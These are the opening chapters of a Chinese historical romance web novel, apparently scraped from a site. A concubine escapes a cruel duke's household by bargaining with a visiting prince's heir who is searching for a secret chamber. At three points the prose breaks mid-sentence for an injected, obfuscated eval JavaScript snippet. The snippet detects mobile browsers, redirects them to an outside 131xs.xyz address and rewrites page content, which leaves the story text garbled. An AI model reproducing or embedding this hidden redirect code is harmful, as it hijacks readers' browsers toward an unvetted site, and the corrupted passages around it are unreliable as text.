《世子的契约侍妾》 1. 勾引 仲春二月，天气乍暖还寒。 晋国公府东南角一座花厅，教习嬷嬷李桂兰带着两名仆妇快步入内。 她肃容扫了眼前方齐整整站着的七名家姬：“今日家主设宴款待北境来的卫王世子，特选中几位娘子席间献舞，望尔等好生预备，贵客跟前，不要拂了家主的颜面。” 话落，七女中间很快传出一声声抽气、低呼，乃至压抑的啜泣声。 一名家姬甚至扑通跪地，膝行至李桂兰跟前，苦苦哀求：“求嬷嬷，看在妾家中尚有孀母弱弟的份上，放过妾这次吧？” 李桂兰阴着脸未答，扭头冲身后一名健妇递了个眼色。 下一瞬，两名仆妇大步上前，扭住那名家姬的胳膊，在她撕心裂肺的哭喊声中将人架了出去。 板子砸进皮肉的闷响很快传入花厅。 适才还忧心忡忡、躁动不安的众妾，此刻个个脸色煞白，却心如明镜：此女怕是有去无回。 苏锦妍站在几名家姬中间，将适才发生的一切尽收眼底，囤在袖中的两手指端捏得死紧。 李桂兰视线冷冷扫过她们：“诸位该知道，这府中最不缺的便是年轻娘子，说句不中听的，凭尔等的家世、身份，想在公府吃闲饭尚不够格。” 她话音一顿，“今日家主有令在先：推诿或不尊号令者，无须再留?——诸位娘子可都听清楚了？” 有刚刚杀鸡儆猴的一出戏在前，众妾哪还敢说个“不”字？当即唯唯应诺，点头如鸡啄米。 晋国公姚承嗣年逾五旬风流不减，府中美人数百。因他不喜无趣女子，故姬妾初入府，均须由专门的教习嬷嬷授以规矩、礼仪、焚香、点茶、音律、歌舞等技艺，半年后方可近身伺候。 此刻花厅中的七女，正是从近半年新入府的家姬中挑选出来。 姚承嗣每逢隆重款待男宾，常将新得姬妾随手相送，客拒绝，便令斩杀姬妾。 这则骇人消息，在众家姬中间早已不是什么秘辛。 所幸当世能得权倾朝野的右相隆重款待之人并不多。 至少这半年，苏锦妍还未见过一个，甚至几乎快忘了此事。 越是如此，越衬得厄运来得突然。 这也是为何适才众家姬的反应会如此激烈。 七名家姬之中，只有苏锦妍自始至终不动声色，状似无比乖顺地听完李嬷嬷训话。 当然，她并非想去为什么劳什子世子献舞，但为了心中计划，还是宁愿铤而走险。 半年了，等的就是这一日。 * 半年前，苏锦妍的父亲受一桩贪墨案牵连，为保住官生，将全部家底凑成一箱，连同她一并献给了位高权重的晋国公。 作为一名不受待见的私生女，苏锦妍从未指望过苏府能厚待于她，但乍得知这一消息时，还是受了不小的震惊。 她想哭，想质问父亲如此可对得起她死去的阿娘，也想过逃走和反抗，但看着苏家一个个吃人的眼神，最终还是放弃了那些无谓之举。 取而代之，是死一般的乖顺和镇静。 平心而论，苏府的确曾在她最无助时收留了她，之后又养育她四年。 就权当作以自己的性命和前程，还清这份恩情吧。此后，她的生死与苏府再无瓜葛。 当然，既卖了她，她的生死，他们也不会在意。 不过苏锦妍并非那种会眼睁睁等死之人，但凡有一线希望，她也会想方设法挣一挣。 故而，今日这场令其他家姬避之不及的宴席，于她反而是等待已久的机会。 妆房内，苏锦妍头顶挽着高挑婀娜的灵蛇髻，原本清丽脱俗的容颜，似更添了几许妩媚，上身一件素色紧身对襟窄袖衣，搭配玉色半臂，缃色画帛，将玲珑柔美的身段衬得恰到好处。 妆娘将最后一支玉簪插在苏锦妍发间，对着镜中少女端详片刻，笑叹：“就凭苏娘子这身段、样貌，别说男子，便是我都有些移不开眼。” 苏锦妍对镜中妆娘礼貌地弯弯唇，待对方离开，却又抬手将半臂往两侧扯了扯，露出胸前大片凝脂般的酥白，心下暗暗谋划，过会儿要如何吸引卫世子注意。 计议已定，临起身她又想到了什么，从袖中摸出一枚铜钱大的漆盒。 是入府前，她按阿娘生前教授的配方制成的口脂。 钗尖挑起一抹绛红点在下唇，拿指腹轻轻匀开，百合香馥郁的气息顿时在唇齿间弥漫，镜中娇小饱满的唇珠随之绽出莹润诱人的色泽。 苏锦妍最后看了眼镜中的自己，下定决心一咬下唇。 * 款待卫世子的宴席设在公府后园湖畔的凌烟阁水榭。 说是水榭，实则比寻常官宦府邸的正堂还宽阔许多。 此榭三面环水，周遭一圈木柞围栏，四面竹帘半卷，既清雅幽静，又便于赏景。 榭内檀香缭绕，时有轻风徐徐送来岸边的棠梨花香。 不得不说，老奸臣着实会享受！ 之前那名不配合的家姬被处置后，李嬷嬷随即找人补了她的缺。 七名装扮整齐的舞娘由李嬷嬷引着，自湖对岸沿着通往水榭的长廊鱼贯而入。 众女皆值妙龄，个个身姿袅娜，青玉色裙摆轻柔灵逸，远观之犹如凌波仙子，又似一道青云飘进了水榭。 她们齐齐向上首行礼。 苏锦妍趁机瞄向高坐在对面的贵主。 姚承嗣自不消说，依旧是那副面白微胖、金尊玉贵模样，只不过原本阴鸷深刻的五官，此刻却因笑得热络显得舒淡许多。 他盘腿坐在胡榻上，谈笑间右手轻捻着左手拇指间的玉扳指，乍一眼望去，倒颇有几分闲适与家常味道。 姚承嗣右侧坐榻上是一位年轻公子，料想便是卫世子了。 苏锦妍瞧此人年纪不过二十出头，头戴嵌宝金冠，穿一袭苍青色刺金圆领缺胯袍，腰束蹀躞带，身姿匀称修长，整个人松散地斜依着凭几，看起来落拓又疏懒。 苏锦妍朝他打量时，那人白净匀停的长指正捏着琉璃酒盏送至唇边。 从苏锦妍所站之处，仅能窥见一对线条清晰的眉眼，至于眸底神色，则悉数被浓密低垂的睫羽覆盖。 纵使七名盛装摇曳的少女当前，也未能劳动尊驾哪怕掀一下眼皮。 装什么装？ 苏锦妍心下冷哼，能被姚承嗣看重之人会是什么好东西？ 别的不说，多半是个好色之徒。 正神游，不料那卫世子忽掀动眼皮，一道清寒锐利的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089041|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸光正对上苏锦妍的视线，吓得她心头一凛，慌忙低眉敛目，自此大气不敢透一口。 “这几个是内院新调教出来的家姬。”姚承嗣笑盈盈扫了众舞姬一眼，“老夫先前曾命人将《绿腰》加以改编，叫她们排演了几遍，今日有幸请世子雅正。” “不敢。”一道清凌凌的声线客气恭维，“既出自公爷府上，必是极好的。” 俄顷，姚承嗣略一抬手，周遭乐声渐起，七名舞姬和着节拍蹁跹起舞。 水榭歌台之上，一时纤腰袅袅，素练如云。 这是苏锦妍长这么大第一次尝试勾引别人——还如此地卖力。 期间，她视线频频落在卫世子身上，仿佛此曲仅为他一人而舞，满心期待，只盼卫世子能分神对她青眼一顾。 怎料任她使尽浑身解数，卫世子偶然一个淡漠的眼神扫来，登时令苏锦妍心凉大半。 卫世子与她想象中大有出入？还是她做得不够？ 不过倒也不全是白费力气，因为曲罢姚承嗣特地点了她给卫世子斟酒。 老奸臣已经注意到她——计划又推进一步，而与此同时，退路也在渐渐消失。 这意味着到时候一旦卫世子拒绝……苏锦妍不敢再往下想。 趋步上前，她朝卫世子盈盈施礼，还趁机曲意仰慕地含羞一笑。 为了活命，她已经豁出去了。 抛开人品不论，至少卫世子生得一副好皮囊，苏锦妍心中如此宽慰自己。 双手把持着琉璃盏，稳稳当当高举过头，她将血色西域佳酿恭送至贵客面前，语音轻柔：“世子请。” 须臾，只换来对方一句不咸不淡的“多谢”。 除此以外，再无旁的表示。 这并不是个好兆头。 于是，递酒时她又壮着胆子，假装不经意，指腹轻轻划过那人骨节分明的手指。 刹那间，男人似若有所觉，手上的酒盏微滞。 苏锦妍吓得心如擂鼓。 但旋即一切又恢复如常，仿佛适才几不可察的停滞只是她的错觉。 她悄然抬眸，蓦地撞上一对黑漆漆的眉眼，那双眼如冷潭无波，静水流深。 却在苏锦妍心中掀起巨澜——羞、窘、怕纷至沓来，直至后背蔓上大片凉意。 但她面上却不肯显露分毫，依旧有条不紊、毕恭毕敬地给卫世子斟酒。 结果他不过才饮完三杯，便自嘲酒力不济，道了句“少陪”中途离席了。 苏锦妍：“……” 为何？ 人都叫她给敬走了？ * 宴席上推杯换盏，大量茶果酒水下肚，出去方便一二原是常事。 可卫世子的一举一动，关乎苏锦妍的生死。 眼看着那个油盐不进的背影渐行渐远，苏锦妍一颗心忍不住忽忽悠悠往下沉。 但眼下还不是放弃的时候——既然勾引不成，那不如换个思路？ 或许适才只是方法不当。 若能单独接触卫世子，和对方搭上几句话，增添几分好感…… 这人心都是肉长的，到时候人家总不至于见死不救，眼睁睁看着她被拖出去砍了吧？ 如此这般，苏锦妍又心生一计。 2. 利用 因后面还有一支舞，卫世子离席不久，苏锦妍等也暂离水榭换装。 水榭内，姚承嗣浅摇着酒盏，打量一众舞姬迤逦往外走，逐渐恢复阴鸷的双眸微微眯起，觑着苏锦妍的背影兀自出神。 一旁侍酒的宠妾瞧见郎主这副模样，一面布菜，一面娇声问：“郎主心中可是舍不得那个舞姬？” 姚承嗣将杯中血色佳酿一饮而尽，落盏有声地置于桌案：“吾欲成大事，岂惜一伎哉？” 宠妾继续往他盏中添酒，语气大惑不解：“这卫世子年纪轻轻，何德何能竟得郎主如此看重？” 姚承嗣：“你有所不知，卫世子元琛十五岁领兵攻打突厥，未及弱冠便升任凌州兵马使，乃是卫王元敬之身边第一得力之人。” 他呷了口酒，若有所思缓声言道，“这些年，元敬之一路升至北境节度使，统领朔方四镇，又加封王爵，羽翼渐丰，大有拥兵自重之势。却不料此番开春刚过，竟派遣世子携丰厚金帛进京纳贡，不知葫芦里究竟卖的什么药。” 停顿须臾，他哼笑一声，“无论如何，这个节骨眼上，于我们总归是友非敌的好。” 说着，他将宠妾揽入怀中，伸指轻捋着她鸦黑的鬓发：“况且，你不是说，元琛甫一在上都亮相，便惹得众贵女趋之若鹜吗？倘这次他收下咱们的礼，倒正好给那些小娘子们醒醒神，也好让众世家明白我的意思——局势未明，妄起联姻的念头可不是什么好事。” 宠妾缓缓点头，继而拧眉轻嘶：“既如此，郎主何不派个经验老到的家姬前来，以求一击必中。” “你呀！”姚承摇头，嗣呵呵笑叹，“就是太过心急，不懂得过犹不及的道理。用力太过，叫人家疑心我们的用意反为不美，你说是不是？” 边说他边在宠妾白嫩的俏脸上稍用力拧了一把，惹来对方一声娇嗔：“郎主真坏！” 姚承嗣一时笑得开怀。 * 晋国公府后花园。 通往净房的小径两旁，每隔一段密植着一片修竹。 竹叶在此时节已然反青，另滋生出不少簇新枝杈，蓊蓊郁郁，如同一座座密不透风的墙。 途中有座假山，由南国运来的大量湖石层层堆砌而成，高耸似小山。 元琛行至假山近旁，瞥见不远处有道青影一闪。 他眸光向四周扫视一圈，随即迅速移步至旁边一片竹林后。 一青衣男子不疾不徐来到他近前——是他的贴身侍卫长庚。 今日元琛假借赴宴之名，在前台拖住姚承嗣，转移整个姚府的注意，同时却在暗中安排手下秘密办大事。 此番中途离席，实则为获知行动进度并做出安排。 “如何？”元琛沉声问。 长庚脸色凝重地摇摇头：“禀世子，没找着。按薛参的消息，东西被老贼藏在密室中，可咱们的人翻遍了府邸，仍未找到密室所在。世子，接下来要如何？” 元琛尚未作答，耳廓却倏地一动——不远处有悉悉索索的脚步声靠近。 元琛：“？”适才检查过，附近分明无人。 他虽有些意外，但立刻做出了反应，抬眸看了眼长庚，后者顿时不见了踪影。 元琛估算了下距离，疑心适才的谈话被人听了去。 这次行动似乎格外不顺…… 他皱眉快步走出竹林，复前行几步寻声望去。 想看看是谁这么不开眼。 前方一曲小径上，一个身着玉色衣裙的女子正分花拂柳，斜穿过来。 元琛一愣——是宴席间给他敬酒的那名舞姬。 苏锦妍心知自己已经没有退路，尤其姚承嗣点了她给卫世子敬酒以后。 接下来，倘事有不成，自己势必小命不保。 是以，她不打算放过这个单独接近卫世子的机会。 脑中转着念头，她快步穿过一条花园小径，终于再次瞥见那道苍青色身影。 继而，还依稀听见了一些不该知道秘密…… 密室？ 苏锦妍不知道对方想做什么，但可以肯定，这事卫世子绝不会想叫府里人知道，而自己好巧不巧，正赶上…… 搞不好这趟白来不说，还可能被杀人灭口…… 不好，君子不立危墙之下——还是走为上！ 苏锦妍快速转着念头，脚下一滞，想转身开溜，可惜还是晚了。 卫世子已经迎面走来，寒潭般的目光正一瞬不瞬盯着她。 既然见了世子，若不上前请安，岂非欲盖弥彰？ 苏锦妍定了定神，只得硬着头皮走上前。 纵使竭力保持镇定，心依然跳得厉害，脚步也不免有点慌乱。 终因舞裙下摆过长，临近小径尽头时，脚下给一簇花枝一绊，一个踉跄倾身栽倒…… 下一瞬，她腰间一紧，继而肩头也有力道传来，将她稳稳扶住。 卫世子显然是个懂分寸的，才将她扶稳站定，立时撤身到一个恰当的位置。 他肯出手相助，看来——太平无事？ 苏锦妍醒过神，忙垂首敛衽，盈盈下拜：“多谢世子援手！适才妾莽撞，不小心惊扰了世子，还望世子恕罪。” “无妨。”在苏锦妍视线之外，男人居高临下，锐利的黑眸静静审视着她，“只不过，当真是不小心？” 苏锦妍头皮一炸，正思索要如何作答，冷不防被一股大力拖向道旁。 刚要出口的一声惊呼也被一只大掌堵了回去。 眨眼工夫，人已到了假山后。 * 男人将她抵在湖石上，沉冷的声线透着森森杀气：“为何跟踪我？” 话落，苏锦妍感到唇上的压力稍松，刚好可以讲话。 她想否认“跟踪”这一说法，但对上男人肃杀的眼神，又立刻打消了这个念头，可“我想勾引你”这种大实话实在难以启齿：“我……” 略一支吾，喉间又是一紧。 苏锦妍顿感呼吸艰涩，眼冒金星，耳中甚至能听见自己血流的嗡嗡声…… 卫世子的声音像从地底飘出来：“说，是不是姚承嗣派你来的？” 语毕，他卸了指间力道，像在给她最后的机会。 “咳咳，不，不是……”苏锦妍沙哑着嗓子，“是我自己……想魅惑世子来着。”边说眼泪边决堤般扑簌而下，内心则涌起铺天盖地的悲愤与羞耻。 苏锦妍啊苏锦妍，你怎么沦落到这步田地！ 她面前，男人骨节分明的手指顷刻沾染了大片温湿，不自在地动了动。 “为何？”苏锦妍听见他问。 “想利用世子离开这里……” 虽然想勾引人家，还当面说出来……实在令人无地自容，但苏锦妍有充分的理由这样做。这倒让她感觉好受些许，尤其说出姚承嗣滥杀姬妾一事。 因为适才听到的秘密，苏锦妍断定卫世子与姚承嗣并非一路，这也是她敢说实话的原因。 她言罢，对面静了几息，又好像过了很久。 男人鸦羽般的长睫微垂着，墨黑的眼底依旧看不出什么情绪。 忽然，他倾身凑近，低沉的嗓音诱惑又危险：“说出府中密室所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089042|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在，本世子带你出去。” 苏锦妍：“……成交。” 虽有些不可置信，但此时此刻她哪还有其他选择？ 而且，卫世子口中的密室她确实知道啊。 因为有自制口脂的习惯，这半年来苏锦妍常去公府后园的祠堂附近采摘紫草。 那是一种天然的着色剂。 有几次，她无意中窥见姚承嗣鬼鬼祟祟往祠堂里藏东西。 出于好奇，某次她看附近无人，等姚承嗣离开后进去察看了一番。 那些凭空消失的大件物品告诉她，祠堂内定然藏有机关。 苏锦妍将这一发现告诉了卫世子。 后者闻言一怔。 适才他担心泄秘将苏锦妍抓来，期间已想明白，若就地灭口，也会惹来不少麻烦。 又想到这女子之前在席间之种种，他猜测多半是得了姚承嗣授意，但瞧她笨手笨脚，又不像有意跟踪。 于是又有了刚刚那一番问话。 经手审讯过不计其数各色人等，元琛看得出，这女子并未对他撒谎。 既非姚承嗣授意，却无意得知了他们的秘密，这人自是先设法带出府去更为稳妥。 至于密室那句，不过赶上他受此困扰脱口试探，又或许是看她哭得可怜存心逗弄？ 万没想到，一时突发奇想，竟有重大收获。 “你可以走了。”心下有了定夺，元琛站直身子，松开苏锦妍。 看着后者脚底抹油般溜之大吉，他嘴角几不可察地抽了抽。 所以，终归还是遂了她的心愿？ 呵，从来只有他算计别人，不想今日竟着了一个女人的道儿。 不爽。 * 再度返回凌烟阁，苏锦妍同几名舞姬又跳了一支《凌波舞》。 曲罢姚承嗣笑问卫世子：“不知家下调教的舞姬，可还入得了世子的眼？” 苏锦妍一听这话，心快提到了嗓子眼。 彼时，在假山后，卫世子没杀她已是万幸，她并不敢奢求他还能守诺带她离开，却还是忍不住隐隐期待。 “公爷说笑了。”卫世子疏淡的语气，婉拒的态度，听起来好像姚承嗣在逼良为娼。 或许，他只是客气一下？ 苏锦妍不无侥幸地想。 但刚刚卫世子话里拒绝的意味那么明显，她终究无法自欺欺人。 心里沉甸甸的，像灌满了铅。 忽听姚承嗣“哎”了声：“自古美人配英雄，世子又何必推脱？且老夫素喜成人之美，只是不知她们当中，谁有这个福分，日后能听从卫世子差遣？”说着视线在苏锦妍等人身上一一扫过。 哪里是视线？分明是刺向她们的利刃。 “行伍中人，身边着实不便携带姬妾。”卫世子清冷的声线像最后盖棺定论。 刹那间，周遭安静得像一潭死水。 苏锦妍便是那溺水之人，深陷于浩大的黑暗与寒冷中无力回天，只能眼睁睁看着自己寸寸坠落。 “——不过，既是公爷一番美意，忌平便却之不恭了。”不知过了多久，苏锦妍恍惚听见卫世子说。 坠落感戛然而止，她微微抬眸，正撞上一道幽深晦暗的目光。 苏锦妍：“……”王八蛋啊！说话能不能不要这么大喘气？ 前方，卫世子凤眸几不可察地暗芒一闪。 姚承嗣是知道他的。这礼他若顺利收下，才显得反常。 此外，打量那女人泛白的脸色，他心里多少也有些扳回一成的得意：本世子是那么好利用的？ 3. 女使 不久卫世子请辞，苏锦妍只来得及简单收拾了几样细软，便随着他一道出了晋国公府。 阴沉的天幕下，苏锦妍最后回望了一眼飞檐斗拱、幽深庞大犹如匍匐巨兽般的府邸，转过身，轻吐出一口气。 驾车侍卫搬来脚蹬，她跟随卫世子登上了马车。 马车车厢内宽大异常，不过里面陈设相较主人身份而言未免简素了些。 座位上倒也铺着软和舒适的锦垫，车顶悬着一枚鎏金镂空飞鹤银香球，不时有沉水香的气息丝丝缕缕散出。 苏锦妍双手紧捏着包裹，端坐于车厢一角，打眼瞥见对面的卫世子背靠车围垂眸而坐，竹节般的长指轻捻着眉心，显得有些乏累。 她于是知趣地静默着，偶尔将轿帘掀开一角，贪看着窗外久违的上都城。 马车驶出道政坊后向南转了个弯，没多久进入宣平坊内。 眼看离卫王府越来越近，苏锦妍的思绪这才转到正事上来。 不知卫世子接下来会如何安置她？ 看此人性情甚是冷淡，未必真如姚承嗣所说将她收作姬妾吧？ 另外，带她出府一事，虽有些波折，卫世子到底还是如约守诺。 而且敢算计姚承嗣那老奸臣，卫世子想必不是坏人？ 无论如何，自己今日不仅捡回一条命，还逃出了魔窟，怎么看都是赚啊。 这么想着，苏锦妍不觉弯起唇角。 怎料一抬眸，冷不丁对上卫世子黑峻峻的眉眼。 他不知何时将手放了下来，显然已养足精神，一对凤眸如凝霜雪般盯着她。 刹那间，苏锦妍脑中闪过两人在假山后的一幕幕…… 终于后知后觉意识到，其实卫世子原本是要杀她的，只因那场交易才高抬贵手。而且若在公府杀她，想必也没那么容易善后？ 该不会，他是打算先将她带出来，再…… 这念头一起，苏锦妍不久前才松的那口气又提了起来。 惊魂未定中，忽听卫世子道：“渴了，给我倒杯水。” 苏锦妍醒过神，连忙起身从一旁的檀木桌上拎起茶壶，小心翼翼将建盏斟至七分满，双手擎着，战战兢兢敬上。 此刻，她倒惟愿自己对卫世子还有哪怕一丁点用处。 一阵喉咙滚动的轻响过后，苏锦妍伸手接过建盏，正要起身放回，忽觉腕间一紧。 卫世子长指扣住她手腕，目光寒浸浸、居高临下睨着她：“还不知这位娘子芳名？” “沈、沈妍。”“沈”是苏锦妍生母的姓，原本她就叫沈妍的。 终于脱离晋国公府，纵使此刻死了，她也要先用回这个名字。 卫世子点头，声线微凉：“沈娘子适才是想到了什么得意之事？” 沈妍快速思索着他口中的“适才”，终于明白大约是她想到自己赚了时，不经意笑出来，结果被卫世子看到…… 只不过，这也不是什么过错吧？她笑一下，也会惹世子不悦？ “没有，”她连忙否认，“妾只是想到今日捡回一条命，又觉世子仁善，得遇世子是妾身之福。” 言罢，想到自己此刻身份尴尬，刚好两人这个姿势，又与席间她魅惑卫世子的画面重叠…… 羞窘交加，沈妍不觉涨红了脸。 这一幕落在元琛眼中，却是另一番含义。 若说先前沈妍为了保命魅惑他，尚情有可原，但眼下这般娇羞情状与近乎剖白的言语，却又是为何？ 这女人该不会真以为自己收了她，是因为看上了她吧？ “我不需要姬妾。”他字字清晰，“不过暂时还不能放你离开。” 沈妍了然地点点头。 不必再为姬妾，总有一天，她要做自己的主子。 虽然暂时还不能离开，但日后可以。 至此，悬着的心终于掷地有声地落下，她朝元琛叉手一礼，言辞诚恳：“多谢世子收留，您守约带妾出府，已是对妾最大的恩典。” 元琛点点头，心说你最好懂得分寸，莫要作不切实际的幻想。 “过会儿到了府中，你去找一趟郑嬷嬷，一切听她安置便是。” “是。”沈妍答得殷勤乖巧。 所以，她这是——否极泰来了？ * 卫王在王都的府邸就坐落在宣平坊。 论规制，堂堂一座王府本该超越公府，但这里显然远不及晋国公府豪华奢靡，不过倒也不失气派典雅。 大门前整齐摆放着两排戟架，高挑宽阔的正堂肃穆威严。 此外，院墙上另有一道侧门直通坊外，宣示着此间主人拥有出入不受宵禁所限的特权。 沈妍下了马车，跟随元琛沿院落左侧一条廊道向前走了没多久，一位婆子从前方的花厅内迎出来。 这婆子大约四五十岁年纪，穿一件褐色团花对襟褙子，头顶一枚圆髻梳得溜光水滑，纹丝不乱，髻上插着两枚半月银发梳，一眼望去但觉精干体面。 “世子回来了。”那婆子朝元琛欠身，和蔼笑道，起身时目光在沈妍身上一滞，似有些讶异。 元琛偏身朝侧后方站着的沈妍比了比手：“这位是沈娘子，嬷嬷看府中哪处缺人手，安排一下。” 那婆子闻言上下打量着沈妍，嘴角一点点扬起：“明白。依老身看，倒是世子房中正缺一名女使。” 元琛颔首，未置可否。 那婆子笑意更深，扭头对沈妍道：“那沈娘子便去迎晖阁侍候，月钱遵照府中惯例，每月二两。” 沈妍柔声答应。她听见自己的身份是女使而非姬妾已大为满意，又听说每月还有二两银，一双杏眼几乎要放出光来。 一旁，元琛将她的表情尽收眼底，心中摇头哼笑：见钱眼开。 * “世子，薛参军已在书房等候多时。”那婆子对元琛道。 “知道了。”后者言罢头也不回地离开。 沈妍跟着嬷嬷前往元琛居住的迎晖阁。 路上二人闲聊，嬷嬷自言姓郑，来元府已有二十余载。 沈妍心想接下来少不了要同卫世子打交道，而她对卫世子乃至卫王府均所知甚少，若不多加了解，只恐日后不小心触了谁的逆鳞，给自己惹来祸端。 打量府中空落落、罕有人迹的样子，她忍不住问郑嬷嬷：“敢问嬷嬷，现下府中除了世子，还住着其他主子吗？” 郑嬷嬷笑叹：“哪还有其他主子。这些年王爷举家均在北境，等闲不回来一趟。世子又尚未娶亲，兼常驻军中，偌大一座府邸，不过就我们几个老骨头看家护院罢了。” 沈妍听着，不着痕迹地松一口气：人少，是非便少。 转头却见郑嬷嬷眉眼弯弯看着她：“眼下沈娘子来了，又是这般样貌、性情……世子真是好眼力。” 沈妍听这话音，唯恐她误会什么，对自己日后离开不利，遂正色道：“妾早前落难于晋国公府，今日幸为世子所救，又蒙世子不嫌弃收作女使，妾日后定当尽心服侍。”“女使”二字，她略加重了语气。 郑嬷嬷了然颔首，未再多言。 稍后，郑嬷嬷带沈妍熟悉了迎晖阁及她安置的偏房，接下来是府内各处，一一认下府中的管事、仆役。 沈妍至此方知，卫世子对姚承嗣所言非虚，迎晖阁当真只有她一个女使。 按理说，以他的年纪、身份，别说女使，放在王都已该是妻妾成群。 卫世子当真是个异类。 一应事务交代完毕，沈妍与郑嬷嬷各自分头去忙。 迎晖阁偏房内，沈妍重新挽了一枚简单的青螺髻，又换上一身便于活动的衣裙，正式开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089043|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工。 因郑嬷嬷吩咐过粗活不用她碰，所以忙来忙去，也不过就是些闺阁里做惯了的熏衣、焚香、整理衣物、茶具、香饼之类。 而元琛的房间——也极易打理。 没有琴棋丹青，没有宝器珍玩，仅墙上挂着一柄重剑，还有满满当当一架书籍，再就是桌、椅、床、榻等必备物品。 此外，再无多余装饰。 偌大的房间，处处透着空旷、阴冷。 这半年，沈妍在晋国公府也算见过世面。 心说就算不与老奸臣相比，这地方又有哪点像一位世子的住处？ 如将那把剑和书架移走，再在案头摆个牌位，都能当祠堂用了。 沈妍看了又看，最后难得在屋角一张几案上找到一只黑陶花瓶。 花瓶形质古朴，瓶身表面覆盖着一层浮灰，里面空空荡荡，显然已闲置许久。 想起不久前在后花园看见两棵桃树花开正盛，于是去折了几根花枝回来，修剪一番，拿清水养在瓶中。 打眼望去，总算为清冷严整的室内平添了几许生气。 * 当晚元琛直至亥末才回到迎晖阁。 沈妍听郑嬷嬷说，他白日回府后不久便同薛参军出门了。 休沐日尚且如此，平时岂不是更忙？ 当然，对她来说，要能连世子的面都见不着，那才好呢。 她还从郑嬷嬷口中得知，世子不会久居京中。 心里合计，自己本是姚承嗣强塞过来，看卫世子的态度，多半是碍于面子，才未直接将她打发。 她本非奴籍，倘能在世子离京前求个恩典，届时对方高抬贵手放她自由，未必不可行。 期间她定当恪尽本分，避免惹卫世子不悦。 主仆相处融洽，凡事也更容易开口不是？ 此刻看卫世子边大步进屋，边将手伸向披风领口，沈妍忙迎上去，双手恭敬接过他扯下的披风。 披风沾染了入夜的凉气，混着他身上淡淡的松柏香，让沈妍想起雨后山间的松林。 转过身，她快步奔向屋北的椸架，将披风扯平，挂在上面。 沈妍背后，元琛视线似有若无落在她身上。 不同于早前，少女头上只挽了个简单的螺髻，一身素色衣裙，与寻常侍女并无分别。 却不知为何，明明洗尽铅华，那对清丽灵动的眉眼仿佛更醒目了。 随着一阵清新浅淡的甜香逼近，元琛垂下睫羽，在那只素手伸向他腰间蹀躞带时，蓦地开口：“住手。” 沈妍一愣，在卫世子沉冷的声线中指尖一顿，疑惑地抬眸看他。 她哪里做错了？这人怎么阴晴不定？ “去准备浴汤。”卫世子声色无波道。 沈妍于是应声去叫热水，准备浴巾、皂角、熏香以及干净衣物，最后将手伸进木桶试了试水温，出门唤人。 她从前在苏府虽只是个半路接回的私生女，表面倒也算个主子，身边甚至还有一个女使，故而并未干过伺候人的活，尤其卫世子还是名男子。 听郑嬷嬷说，往常世子的起居都是由他的侍卫长庚照料。 今日长庚不在，故而沈妍还未来得及细问。 谨慎起见，卫世子进门时，她并未立时退出，想问问可还缺少什么？以免对方洗到一半，造成不必要的尴尬。 怎料才要开口，忽听卫世子道了声：“出去。”说话时面色微沉，似带着几分不悦。 沈妍不敢怠慢，忙应声往外走。 这人好难伺候…… 临出门，身后的卫世子又补了句：“从外面把门关好。” 沈妍：“……” 卫世子对她，莫不是有什么误解？ 伴随着门扉合上的轻响，元琛隔着衣袍从肩头拔下一根银针。 4. 桃花 脱下衣袍，元琛打量肩头皮肉并无异常，神情微松。 看来只是寻常麻药。 半个时辰前，探子来报，姚承嗣连夜出府，今晚不归。 机会难得，元琛亲自夜探晋国公府，还在祠堂的密室内动了些手脚。 过程倒是很顺利，不料出府后被一名暗卫盯上。 此番行动事关重大，为防止出差池，元琛特意将那暗卫引至郊外格杀。 对方临死前袖中激射出一簇银针，元琛急忙翻身闪避——肩头还是中了一根。 当时未曾留意，直至回到府中才觉出上臂微麻。 水汽氤氲中，他将银针置于手边几案上，头枕着浴桶边缘，凤眸微合，轻吐出一口气。 局已布好，再过几日便可收网了。 * 沐浴后，元琛拿青盐刷了牙，吩咐沈妍各自安置。 出于习惯，睡前他坐在书案前翻几页书，合上书页时见偏房内已黑了灯。 元琛这才觉出一阵乏累，自进京以来，无一处不需他劳心费神。 如今眼看成败在此一举。他久经沙场，心知越是紧要关头，越要保持平常心。 最好能做点什么麻痹对方。 那个女人不就是现成的工具？ 既然姚承嗣对他使出这招，那他不如将计就计，把人好好利用起来。 思绪至此，他起身踱到床边。 闭眼躺在床上，室内浮动的安息香冲淡了白日的血雨腥风，间或有丝丝缕缕桃花香安抚着他疲惫的心。 ——等等，桃花？ 心头微诧，他强撑着睁开眼，环视四周，借着门头茜纱灯的光亮，看见屋角几案上，那只黑陶花瓶内果真养了一支桃花。 自从他八岁那年母亲病故，此陶瓶便再未用过。 元琛瞧着那瓶桃花愣愣出神。 半晌收回视线——定是那女人自作主张。 果然还是不安分。 